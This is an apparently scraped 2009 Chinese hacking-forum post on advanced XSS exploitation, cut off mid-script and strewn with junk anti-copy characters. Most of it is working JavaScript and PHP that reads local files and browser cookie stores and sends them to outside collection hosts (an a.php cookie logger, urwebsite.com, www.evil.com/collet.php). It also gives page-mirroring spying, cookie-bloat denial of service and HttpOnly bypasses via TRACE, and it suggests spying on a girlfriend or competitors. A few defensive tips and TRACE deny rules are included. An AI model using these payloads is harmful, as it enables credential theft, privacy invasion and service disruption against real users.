XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

- [8 h! k$ S/ A' L' FXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
; Q0 U; L* h& Q5 g: E4 Y7 [转帖请保留版权

3 _. P7 [9 P& ^; t! h

-------------------------------------------前言---------------------------------------------------------
/ ?7 E; e& f  Y6 f

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


$ b1 s3 `. y% E9 K如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
! ?9 s: g. g  jhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
) l4 R6 e4 T& Lhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


% Q/ \" l6 B' V
' |! j' n! q6 T7 V) Q5 i: D
; @+ ^" v; {% C$ |$ |/ N. I如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
" i0 q# `3 D: K6 x5 i
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
* i" n- w) i6 I- n. ]2 g
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
& G/ X, B8 m+ [
" p9 T) o- a, Z: q. R( zBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

. l! q* {3 O: x: N! u, I4 S( AQQ ZONE,校内网XSS     感染过万QQ ZONE.
6 A: O5 N5 U) f+ T2 y. K
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------
. [2 l% ]3 t% }  l2 V/ ~
5 v. O! T" [) Q& J什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

0 g8 o, Z" R9 K& t6 r! X

1 A; n& w+ h9 ]跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.


3 s, [# m2 V5 ~2 p
  J, j. w8 t* C5 o3 |' \% e如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
/ N5 Q* y7 v% r6 e复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
9 C) \/ C- l9 n' ~* b0 k3 x7 g
) c; B6 Z; U8 _- r1        通过XSS,我们能实现什么?
6 I. ]$ A: f. D' K
( E9 b+ o) \1 d: P1 ~+ V$ A: Z2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
/ P7 J: X* U, E
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
0 V4 p% \: q& W* h
4        XSS漏洞在输出和输入两个方面怎么才能避免.
* z6 F2 g/ R2 j- k% Y; b; D


------------------------------------------研究正题----------------------------------------------------------
6 X3 n$ F8 o8 w- X
- C! |$ c+ `/ o: v) ]
! J9 G% d- ]1 K8 E1 N6 D; X& B1 ^
/ v. b0 K& s, n& n' s# @通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
) }! ^: y: m4 q% L7 e3 g. d复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
1 u8 J$ f/ B9 ~6 ~3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
: z* F# {& ^0 Q4:Http-only可以采用作为COOKIES保护方式之一.

1 x  d+ H1 m+ T: k4 e( F
! S( O8 G8 R% U# D
# N+ u5 ]+ T/ u

' s/ ^7 p+ M$ ?& B( D! M! C(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
1 ?/ D$ F; F. p+ Y" V
! I* d% \' z- \我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
/ {' u: f! W( p' I3 g* d( D


; m. n; ?) ]( k: H+ l% N    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
& I# m4 b; L2 I( p% ^7 @


    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
9 g9 s+ `) }7 j! ?3 p  C% V7 y
9 F( s. `/ J6 O

    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
7 E7 f5 \* E% I8 N% ~  ?6 j- J: A
  ~# R: e/ ^& {8 W& R; X4 k    function $(x){return document.getElementById(x)}
9 D* k/ M+ [0 ?% }8 y! ^: z


    function ajax_obj(){
7 Y9 @7 M% X* J6 P9 s  R2 p$ ]" V8 Z0 \
    var request = false;

    if(window.XMLHttpRequest) {
* U. D; P% ]1 a! {& E
    request = new XMLHttpRequest();
& Y6 L. a) Q  H0 ^6 D0 y
* j8 [  v1 V7 z$ |9 o    } else if(window.ActiveXObject) {
- ^* X6 ]; F2 q% g
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
) i* l& Q1 H4 {- Z6 ~
* w: N0 m) `1 v! @- G+ U
% ]0 D  n  R: x( U
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
+ Y0 s9 V& d( C, R* s4 y% Y
    for(var i=0; i<versions.length; i++) {

    try {
( k9 W* o5 k1 O/ f
    request = new ActiveXObject(versions);
: {! Q4 D8 W/ @& i$ C
    } catch(e) {}

    }

    }
! D8 Y* K4 K8 W" e" M$ J+ }) d. T
    return request;
0 t* X$ a0 O, e* R9 Y
    }
2 a& D3 G2 Q# Z6 R4 Z
    var _x = ajax_obj();
& F# f) Y6 ?: Z/ ~
8 o6 {, U& E# U2 J& p/ E    function _7or3(_m,action,argv){
! {7 o( Y) E3 a* ~
# d% q  U9 \# ^3 O7 G  F    _x.open(_m,action,false);

. G5 @2 P: V% n( b5 Z& P# i/ @" k    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;
2 I8 \2 n2 ^6 }" u2 F7 {
' t/ R& z) M# Z, \8 E    }
7 A6 W% ~% S8 @, K' ^

& ?+ o; E7 B  \; C% `
5 X7 p1 e7 `) j( H1 p# C    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

: |1 ?2 o. f( @9 n    alert(txt);



  U1 E  K, U* h5 ~9 Y9 ~% B    </script>
, t6 {+ D3 E9 n, i复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}
0 ~; e' q  ~4 q( R2 L- P
' D8 D- n. S/ T, N) F" V6 a. M) O$ P
+ Z- h% {9 K3 Z* f
    function ajax_obj(){

    var request = false;
& C( s- x7 z; l) f4 @9 s( j7 m$ Q
    if(window.XMLHttpRequest) {
9 W/ ^/ N9 T1 b; C* s* U
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

: E( E& k# w$ i9 y  q& A  j    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
  W  G! Y7 A* q5 B2 M3 N' ~

5 E  h2 R4 c$ n1 b7 q
* d* |4 n9 ?# O& t- u1 G4 R1 F    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

% e1 c" y# z3 l6 [    for(var i=0; i<versions.length; i++) {
3 v* z0 \/ {+ p; T
    try {
7 F; ~5 L' N( e& A9 a
/ R4 H& M7 s) R# s: ]6 B    request = new ActiveXObject(versions);

    } catch(e) {}

# C) ~. b! v* E0 Q. Q; {    }

/ B0 O, u+ ~, n, U/ t) p( R  k! F/ V    }

    return request;
4 p, a7 h4 M# a5 Z: {9 L2 j
    }

    var _x = ajax_obj();
* m! {9 v" X: _- ]2 ^
# V- v# n5 K1 B2 s    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
0 T% \1 g9 @5 G/ ?+ j
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

3 H: s5 z+ ~  _* b3 r' H    _x.send(argv);
9 |6 J- V; ]9 t8 n
    return _x.responseText;
3 M2 F# W& F* t. _0 S5 Y, M1 Q
    }


& A6 x5 y, m! r/ \
" v. f1 _% @* S; H; x% K    var txt=_7or3("GET","1/11.txt",null);

+ z/ A/ O- c( W: ]    alert(txt);
7 b+ ?6 v5 [5 L9 y' q- |4 g

4 }; N/ H  R- j  T7 Z) Y1 @
4 u8 ~0 x8 r- X! T! Z1 z    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”


: r6 J7 }7 w$ E3 q6 {
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

& D. E1 {! G% j) K. n# C, ~
$ x. J3 |; a2 r
<?   

! K1 t2 E/ T2 s' T" B" O1 K4 q/*  
) f6 V. |/ t6 p" B/ R, @
, S" J' {; o- Z2 @0 q- n     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
. W6 h) _. N! x; n. M
*/  
7 u" K# ]2 s2 Z* i  F' s
header("Content-Disposition: attachment;filename=kxlzx.htm");   

7 d- N( E& t" |5 V1 ?; gheader("Content-type: application/kxlzx");   
7 F1 ?7 [  D& _$ k+ {  p8 R) Q! M4 m; h
* R3 F" o4 n4 G" B, M& [% l: l/*  

     set header, so just download html file,and open it at local.  

3 @9 `1 l" }3 p! n*/  

. }+ }5 j' r3 T?>   
9 V1 R, }' |  u, {2 Q
( p4 `6 Q/ J# H% o<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
+ V: @) U. n& f& A+ y; S/ M+ P! i. h
     <input id="input" name="cookie" value="" type="hidden">   

# y& R" g8 Z& |; W  L0 J5 S+ X</form>   
" `6 _8 N' v4 J; f+ u
<script>   

function doMyAjax(user)   

4 x" }6 }* R! |& c- s+ ?{   

var time = Math.random();   
  k* B& C1 E2 u' p, g! o2 e
! l; G2 W, c* A* Q' {6 O1 Z/*  

! |7 o& \! {% U/ T1 K: a! C. Bthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
& X: n/ r$ I) l6 j5 q
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

7 N3 c4 V8 \7 H2 ~0 B2 sand so on...  
' r: c1 m, _. X- V
*/  
1 b6 w4 w  V) V+ ?* p+ d' j. C4 j
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

startRequest(strPer);   



}   
- d; c2 e! a: A; l) H. F
   

function Enshellcode(txt)   

{   
1 A3 Z1 G3 h3 i( O, \3 h
3 B4 Q- T! z3 P3 l5 L1 N- ~& Rvar url=new String(txt);   
. m$ @: |" j! M
var i=0,l=0,k=0,curl="";   

: D, d0 y. `6 w! Y" @l= url.length;   
7 s6 [' k8 z$ O) m
* r  v- I; C: f. e5 E% tfor(;i<l;i++){   
2 z' [% j# s8 p/ d( M2 [: d# V
k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

+ ~6 i2 u3 y: K2 a" Bif (l%2){curl+="00";}else{curl+="0000";}   
! R+ Q+ J$ [6 W$ ]3 P" f7 o
/ P( r4 }3 A& r5 a: k- k7 Bcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
1 a: u( e% M- `8 m( Y5 A
5 \: b0 o8 E4 C* m5 l: C* T- [return curl;   
, [( E/ i9 a9 }% O) M
& Q( f& ^+ s8 d! e  {3 K- W}   
$ r' I2 d2 K# |6 @3 @7 N
$ f, A' x+ I: m& J- y( n: K' j   
4 D: D- r2 A7 a9 P
( f8 M" {0 z0 N   

3 }% V, i! H. T/ J6 tvar xmlHttp;   

* [- m! D5 P; g5 nfunction createXMLHttp(){   
% n! P' ^6 W9 Z9 I) {4 @) u
     if(window.XMLHttpRequest){   
9 X+ b* l1 X7 E5 |  W' j
xmlHttp = new XMLHttpRequest();           

     }   
" g% g- G8 B8 m5 I2 }" h; e
     else if(window.ActiveXObject){   

' ?- |8 L8 w$ A2 d5 e# z( @; cxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

; b4 L2 N/ W% V. u/ T  p7 d9 x6 g; ^     }   

- F) n4 c+ Y- v* [: K( }  i}   

   
7 w# _$ X! H  _  Q
  Y& M# v: g! I: ~8 j8 ^function startRequest(doUrl){   
+ V, u% _; z" u  X9 r
   

: t0 Y. s) [$ U: |& b8 b     createXMLHttp();   



     xmlHttp.onreadystatechange = handleStateChange;   



6 R0 I$ E! g( ]" i3 i$ d     xmlHttp.open("GET", doUrl, true);   

7 @# a, q" h, i" Y8 [

( R2 R% P* W" q& ^& W     xmlHttp.send(null);   
1 y2 N+ U: m( }! h+ L/ T




}   

   

function handleStateChange(){   

' N- T# X9 y/ O  }# A, P     if (xmlHttp.readyState == 4 ){   
: s2 J7 M8 Z5 E2 f# L
     var strResponse = "";   

8 O+ y8 A2 `! l0 c     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
. D6 q7 O& S. y& H) @% W3 ]: z
        

     }   
8 A3 I9 S  a3 e' J
4 m0 E) ]1 ^" L/ H5 I}   
$ j! X5 _& p: A% N7 F. W9 @  ~
   
# x9 {; |9 e: v. H  U$ S
  G. j  P5 J+ d) s" c/ V   

; q' @7 s* B: U: ]function framekxlzxPost(text)   
; n2 b5 b- B0 u* @" X2 v" q
{   

; i9 C7 U, y# O     document.getElementById("input").value = Enshellcode(text);   
+ _' l: P* L& @7 a' s4 j! U
4 v9 e, ~, C8 V+ a) X     document.getElementById("form").submit();   
4 \# @8 y. Z& T
}   

   
! V$ B- o8 z6 @* g  s9 s$ x3 Y
" T% O  E4 O: }" @5 Y8 xdoMyAjax("administrator");   

- L  J! _2 `- r   
+ A, W1 P6 @5 K0 E5 P7 D3 \7 [5 I
" k* |) M% G0 [- t1 Q4 J( z) W</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
5 n8 A; N( u$ B- }
8 W& i/ O% q1 v" yvar xmlHttp;  
( _4 r5 O) t: e% _- z
function createXMLHttp(){  
8 ^' K7 B% t3 f2 P7 j5 h
     if(window.XMLHttpRequest){  
6 I8 U: _1 ^6 U5 y/ i
7 e5 t7 y" C! i, _) e8 n; N         xmlHttp = new XMLHttpRequest();         
, @5 T* u! _+ i8 ^4 ~
+ _% H, b; v4 z8 p4 H1 n3 i     }  
/ c1 f1 k7 q: b. t) d
     else if(window.ActiveXObject){  

' K. n2 E, k& v+ O, V9 p         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

}  
* v' n1 N+ \9 F% u+ N0 A6 d: ~
0 _0 m3 E8 B' D: S6 R( |9 ~   

function startRequest(doUrl){  

" @1 n6 ]3 o5 R: R4 p           

     createXMLHttp();  

( V) O  x. e/ `: s; o      

' c" e, o; R( p+ A9 f; \& Q8 a     xmlHttp.onreadystatechange = handleStateChange;  

$ {2 A9 y) {9 v4 E1 n. c$ Q5 U      
' y% w, K2 |  c7 h6 F
     xmlHttp.open("GET", doUrl, true);  
" L# d( n3 g: G6 W" G
1 i3 M2 v3 D: o9 k+ _: N      
- p+ P& p  s# v
     xmlHttp.send(null);  
$ @, ?) d* S* Q6 O
9 q4 o1 M; G" e      

* y: M  c8 @3 i3 W7 w4 |      

6 c& H% n4 h" @1 w* j  O}   
5 K- Q3 i7 F) `9 @
   
& o3 I1 Y0 J9 G$ I/ X$ E
! y% |8 H5 L% Rfunction handleStateChange(){  
0 p# L# Z7 c; J
# x- F7 s+ P! c     if (xmlHttp.readyState == 4 ){  
( C, p' l5 j9 {# w; Q% t. ?
* s  q; i( }! W$ L& ]# I             var strResponse = "";  
0 Q& J( l# L9 C$ I3 }) h9 K
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

' _; s1 g5 k# Q& }/ _* O               

     }  
  I# h3 P( h/ M5 W- q# e
* s) R0 q, X- x; u4 Q6 @0 i}  

   
- C/ k$ `  j. u- P' j; S
function doMyAjax(user,file)  

{  

         var time = Math.random();  
, \7 o& s9 r' l9 x
           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
" n# z  j* ~: t0 W3 N7 A
; a( D$ G' [# d" g' Z' G: j! ~8 q           

         startRequest(strPer);  

  O5 X* f) S. X5 m  x+ C" j      
9 ?: C! ]. y- Y4 G/ u6 }% O$ F' O
4 I- n7 l9 r6 Z. |. x+ t7 i! z+ v; `, Q}  

  c7 c4 c1 l6 e( t0 v   

0 S1 F0 d: ?; H6 ?4 I# |function framekxlzxPost(text)  

1 o& n( y" w& k2 B{  
; z3 |: Z4 a- T2 R$ m8 P' }
2 O2 g, R, B) l- E6 Y0 r     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

- i3 y& x) f; v8 p; S+ g     alert(/ok/);  

  H, I5 C4 S; |2 \" f5 u$ `}  
. K8 U, p+ r; ]( e. U9 s
   
, l/ U1 P7 H0 p" l& p, |
doMyAjax('administrator','administrator@alibaba[1].txt');  
* |* R" P7 _# x5 @- m
   

7 o8 J* q3 r" u4 Q# k3 D! u</script>

6 v+ S5 n) Y; f' [+ i

3 n- h$ ^) D# N9 o

% a: m6 v8 Q; F& Ca.php


& S7 g- y+ O4 A/ a
! s6 e. F4 K# t. N6 j$ K" U& Y<?php      

5 x; Z+ ^: L5 Z2 d1 N   
5 i: P. D( R) V+ v' h. _
9 ]& o: w: f# i( O# A0 b$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
6 H: L5 C0 B- c" g
. p6 B# J& N  C6 Y8 W6 t  

' f9 Z$ s& ?5 K$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
9 b% O5 ]3 N  \) v4 n. g
8 b! k' s6 i' n- ^# |fwrite($fp,$_GET["cookie"]);      

fclose($fp);   

& w7 G1 f' [" y?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
" z, {% o9 t" C& b- V! [5 o
1 P) e1 i, ~' \1 t6 P* o或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
8 s/ H, {* b* n* o/ P" {
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
! [/ A# J' d. l3 O: J2 G
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
; s  a& v3 P9 s# E+ |/ u# i3 h
var image = new Image();
- d: u( L1 D7 M$ |3 Z, d, |; Y7 I
image.style.width = 0;
3 ]  c- M" K- W
" S+ `. C* n6 _" ]image.style.height = 0;

: J1 c7 X" F. O& Q$ l( Zimage.src = s;

; O7 H9 r9 U" x# x2 R  ?( o3 r% ~; r}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
' T4 g! F2 u7 a  I6 o! h; @1 G6 j2 |, n复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
6 |" {* Q6 p; J+ e! m' g& Q这里引用大风的一段简单代码:<script language="javascript">
% w7 m" I" C( Y- V1 [& K* B& d. [
var metastr = "AAAAAAAAAA"; // 10 A

9 \* \6 m7 d* k- ?0 cvar str = "";
! `* `$ [$ S1 F' w/ s# M
& Y; d. b3 O, C& f7 b# Hwhile (str.length < 4000){

; L; `  x2 a, n" j1 }2 s' |    str += metastr;

2 Z+ l: O9 |& G+ N}


4 h+ j. I. ]3 L
( d& {. y! g4 X/ mdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
8 N" ~7 h  a& K1 ]: L
; i+ U* J, V0 c. A</script>
; e, t! w6 d+ Y5 k
9 [+ P8 L% s' Q& @8 P详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
5 W, Y# o5 c2 p# a8 d. ?! Q! p1 h复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
  s; B  _2 T- X  sserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

& @8 j9 r' y8 B/ H' c/ i假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
6 s  M+ m5 F: r7 Y

+ w9 @! o; y. t5 q+ M* }1 G
0 X/ E4 p6 D8 W5 i


: y' j% O- h; t' [$ x(III) Http only bypass 与 补救对策:
  I8 t0 l& J$ Q
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
4 ^# M$ v) L# m- ]! o9 q/ Z; F, \) @
<!--

function normalCookie() {
% U* W& r7 |) U+ ~- M
document.cookie = "TheCookieName=CookieValue_httpOnly";

- A  J: N: I8 N& }2 [- Nalert(document.cookie);

}

8 C4 ]1 j$ D0 k! U" {

3 {- Y5 E, }8 @( W0 {( ?/ a. G5 ?
& g6 [7 b1 G$ H( a* u
function httpOnlyCookie() {
& w1 G2 A! G  e6 L7 ^# K( u
* d0 n' }# F& _) L+ c0 H% G: W- s/ pdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

& {' s! t3 Y! E: H6 Aalert(document.cookie);}

) ^$ O; B' ?' a& w4 ?

  l, p; W0 V. H1 p$ L, ]0 ?//-->
9 w) z2 \6 Y7 a7 C" [6 _
  V/ Y: |- K( a; \" w( S" t</script>
. b# D$ R% `3 `, ]

. f$ `  P  t' M( c! c2 k, [# G
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



+ G' a8 ]) D2 F7 rvar request = false;
! U: V! O6 [3 \4 S) Q
        if(window.XMLHttpRequest) {
' H! \  c* p4 I$ E$ m
" T8 U& G) J# f1 W  u6 w0 H            request = new XMLHttpRequest();

1 \' Z7 m/ Z% b# i1 |            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');
! D# }% w2 W& B
            }

        } else if(window.ActiveXObject) {
& ?2 X) t4 [& H, E% ~4 v8 J9 W1 |
; n0 S. s4 j0 \. Y3 @( m) A& b            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
$ G0 h0 Q' E3 @: U! N, p9 ?
                try {
. e3 E6 T! m3 j: \
1 O+ O9 r/ @" k6 B                    request = new ActiveXObject(versions);
7 e* \# a8 ?" I
                } catch(e) {}
$ l- r# E% y2 ?# J% k0 O
3 b/ [. d5 X7 V7 D+ i  ?            }
  ?5 D9 H, D3 w( Y. v
8 W5 H( {# c8 R0 m! e, m        }
& ~0 C) _2 T" t5 D& f
5 K" Q! k% g# I( x/ y% b2 g5 ?7 }xmlHttp=request;
% O( y- {' N5 s3 ~7 d
' i! H, ^9 Y! `# k6 F3 ]xmlHttp.open("TRACE","http://www.vul.com",false);

1 e' S& W' I" w$ YxmlHttp.send(null);
# Y- i* O$ q% y1 G6 [+ R) S
xmlDoc=xmlHttp.responseText;

alert(xmlDoc);

</script>
( K' c! z1 t& h2 ~# @0 ^复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
, p1 \# w! g. w3 m" x
) U4 r5 A  |7 a& r' r$ N; Mvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
* j; {# \8 b1 y3 z
9 H7 ^% S2 V' J# ], n3 B/ JXmlHttp.open("GET","http://www.google.com",false);
1 \" B+ {* R! Z
& o: J% v7 H! _# R: @: Y9 wXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
. f# i. i* {+ M
XmlHttp.send(null);
# t0 C4 l. b0 Y' J7 f
; I' [. A! W( a) h8 ?var resource=xmlHttp.responseText

resource.search(/cookies/);
& c5 U& R  w% T& y) h- n
- R8 u: [+ {, `2 V......................
4 M% L$ [0 x; c
</script>
" m# M" A5 A8 o0 t
( b4 ?4 e1 B3 h: w& E2 ]+ L



如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
* @- u! _* Q- y
[code]

6 Z- j2 m# u' \" u; uRewriteEngine On
# W1 Y) r5 J  m
4 q( C$ E- H3 @6 p! \RewriteCond %{REQUEST_METHOD} ^TRACE
' D' S8 C; M: M( i# t# z2 d0 A- {
RewriteRule .* - [F]
* m- m5 N$ {* I" Y2 p


Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
8 Q& C+ M* D5 b/ t, P+ E0 Z
acl TRACE method TRACE

# \, |5 X7 \3 o7 p+ m...

http_access deny TRACE
/ X/ I2 t5 w' \* O  `) M, O9 x复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

# Z- O3 W9 ~* N, i* j  i7 gXmlHttp.open("GET","http://www.google.com",false);
0 }% @* w0 v- G4 v) Q
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

7 x7 i2 u: T  [6 g) UXmlHttp.send(null);

</script>
, E) E+ J4 h& X8 U4 [" c0 b# w0 X复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
